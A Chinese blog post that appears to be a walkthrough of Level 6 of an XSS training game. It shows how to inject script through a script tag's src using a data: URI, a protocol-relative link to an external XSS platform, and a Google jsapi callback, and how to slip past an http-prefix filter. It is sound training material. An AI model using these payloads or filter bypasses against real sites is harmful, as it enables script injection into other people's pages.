加载中...

【XSS-Game】 Level 6 - Follow the 🐇



0x10 解题方法一(题目 “BUG”)

明显注入点在 URL。

查看页面源码发现, 无论在 URL 输入什么都会实时回显到 script 标签的 src 属性里面:

即注入点是这样的: <script src="注入点" ></script>

要在 script 标签的 src 属性执行 js ,可以构造这样的 payload: data:text/javascript,alert('exp')

直接 pass。。最后一关简单到离谱。。

0x20 解题方法二(XSS 平台)

其实这么简单就突破了,可能是这题的 BUG。

因为我一开始没看题目的 Mission Objective 变成了这样:

Find a way to make the application request an external file which will cause it to execute an alert().

即作者期望我们利用 script 标签的 src 属性去调用其他站点的 恶意 js 脚本,再由该脚本回调当前网页 的 alert,估计作者也没想到可以被钻了空子。


若按作者的思路解题,我们可以用 xss 平台做,例如: http://xss.tf

注册 xss 平台后,任意创建一个项目,然后配置项目源码,勾选最后的“自定义代码”,输入一个 JS 函数 alert() ,最后查看项目代码,会给出访问这个项目的 URL,如这里为:http://xss.tf/IUa

打开这个 xss 项目的 URL : http://xss.tf/IUa

可以看见页面只打印了一个 JS 函数 alert() ,到这里我们构造这个 xss 平台的目的就完成了。

0x21 回调函数

回到挑战页面,前面已经知道注入点是这样的: <script src="注入点" ></script>

要从这里通过 xxs 平台回调 alert() 函数,只需要在 URL 末尾加上 callback=alert,即:

<script src="http://xss.tf/gAk?callback=alert" ></script>

回调原理大概是这样的:

0x22 验证绕过

但是直接注入 http://xss.tf/gAk?callback=alert 是无法成功的,

原因是题目对注入点做了正则校验,不允许输入以 http 或 https 开头的内容:

但是绕过的方式也很简单,直接删掉 http:https: 即可,最终 payload 变成这样:

//xss.tf/gAk?callback=alert

在 web 网页中,以双斜杠 // 开头的 URL 写法有其特殊用途:

  • 它会判断当前的页面协议是 http 还是 https 来决定请求 url 的协议
  • 主要用于处理 [网站使用的协议] 和 [网页中请求的外网资源] 不一致的问题,达到无缝切换
  • 这种写法在 CSS 很常见,如:.omgomg { background: url(//exp-blog.com/imgs/exp.gif); }

0x30 解题方法三(谷歌 jsapi)

查看 hits ,题目给出的一个提示是:google.com/jsapi?callback=foo

打开页面发现,google 会实时根据 callback=foo 的值构造一个 foo 函数

因此可以构造这样的 payload ://www.google.com/jsapi?callback=alert

这样就可以省去自己搭建 xss 平台的麻烦了,一样可以 pass :

0x40 闯关成功

0xF0答案下载


文章作者: EXP
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EXP !
  目录